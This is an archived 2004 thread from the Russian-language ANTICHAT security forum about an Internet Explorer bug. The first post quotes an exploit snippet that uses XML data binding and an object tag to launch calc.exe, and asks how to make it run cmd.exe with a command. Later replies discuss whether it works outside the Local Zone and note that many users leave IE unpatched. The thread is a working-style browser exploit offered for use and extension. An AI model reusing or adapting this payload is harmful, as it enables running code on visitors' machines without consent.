ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > Чаты
Перезагрузить страницу Internet explorer bug
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.06.2004, 13:30
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию
Всем известен кусок кода, запускающий калькулятор:
<span datasrc="#oExec" datafld="exploit"
dataformatas="html"></span>
<xml
id="oExec">
<security><exploit><![CDATA[
<object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/WINDOWS/calc.exe"></object>
]]></exploit></security>
</xml>
Вопросик:Как ещё передать параметры командной строки?Не выходит, ну например запустить cmd.exe с параметром echo aaa>1.txt???
 

  #2  
Старый 28.06.2004, 21:52
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию
какой смысл в этом эксплойте, если он катит только в Локальной Зоне???

к тамуже есть способ намного компактнее!
 

  #3  
Старый 28.06.2004, 22:04
Z4masko
Познающий
Регистрация: 19.06.2004
Сообщений: 36
Провел на форуме:
0

Репутация: 0
По умолчанию
посмотри о новом баге  в IE на  secutityfocus за 24 число.
 

  #4  
Старый 29.06.2004, 11:26
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (zFailure @ июня 28 2004,21:52)</td></tr><tr><td id="QUOTE">какой смысл в этом эксплойте, если он катит только в Локальной Зоне??? [/QUOTE]<span id='postcolor'>
Вовсе нет, этот катил и в глобальной зоне (по кр. мере раньше).
 

  #5  
Старый 30.06.2004, 12:59
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию
сам проверил ради интереса на локалоном сервере

так действительно запускается
C:\Apache Group\Apache2\htdocs\exploits\0001\1.html

так уже нет
http://a/exploits/0001/1.html

вывод - работает только в локально зоне

правда далеко не все ставят последние патчи на свой IE =)
 
 



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ